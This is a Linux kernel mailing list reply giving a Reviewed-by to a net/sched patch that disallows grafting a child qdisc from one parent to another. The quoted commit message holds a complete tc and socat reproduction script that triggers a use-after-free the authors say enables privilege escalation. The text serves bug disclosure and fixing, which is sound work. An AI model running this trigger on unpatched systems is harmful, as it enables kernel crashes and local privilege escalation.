Re: [PATCH net v4] net: sched: Disallow replacing of child qdisc from one parent to another

[Simon Horman <horms@kernel.org>]

On Wed, Jan 15, 2025 at 05:37:13PM -0800, Jakub Kicinski wrote:
> From: Jamal Hadi Salim <jhs@mojatatu.com>
> 
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script
> 
> Step 1. create root qdisc
> tc qdisc add dev lo root handle 1:0 drr
> 
> step2. a class for packet aggregation do demonstrate uaf
> tc class add dev lo classid 1:1 drr
> 
> step3. a class for nesting
> tc class add dev lo classid 1:2 drr
> 
> step4. a class to graft qdisc to
> tc class add dev lo classid 1:3 drr
> 
> step5.
> tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
> 
> step6.
> tc qdisc add dev lo parent 1:2 handle 3:0 drr
> 
> step7.
> tc class add dev lo classid 3:1 drr
> 
> step 8.
> tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
> 
> step 9. Display the class/qdisc layout
> 
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
> 
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
> 
> step10. trigger the bug <=== prevented by this patch
> tc qdisc replace dev lo parent 1:3 handle 4:0
> 
> step 11. Redisplay again the qdiscs/classes
> 
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 1:3 root leaf 4: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
> 
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
> 
> Observe that a) parent for 4:0 does not change despite the replace request.
> There can only be one parent.  b) refcount has gone up by two for 4:0 and
> c) both class 1:3 and 3:1 are pointing to it.
> 
> Step 12.  send one packet to plug
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
> step13.  send one packet to the grafted fifo
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
> 
> step14. lets trigger the uaf
> tc class delete dev lo classid 1:3
> tc class delete dev lo classid 1:1
> 
> The semantics of "replace" is for a del/add _on the same node_ and not
> a delete from one node(3:1) and add to another node (1:3) as in step10.
> While we could "fix" with a more complex approach there could be
> consequences to expectations so the patch takes the preventive approach of
> "disallow such config".
> 
> Joint work with Lion Ackermann <nnamrec@gmail.com>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Jamal Hadi Salim <jhs@mojatatu.com>
> Signed-off-by: Jakub Kicinski <kuba@kernel.org>
> ---
> v4:
>  - compare the parent directly from metadata, rather than lookup result
> v3: https://lore.kernel.org/20250111151455.75480-1-jhs@mojatatu.com

Reviewed-by: Simon Horman <horms@kernel.org>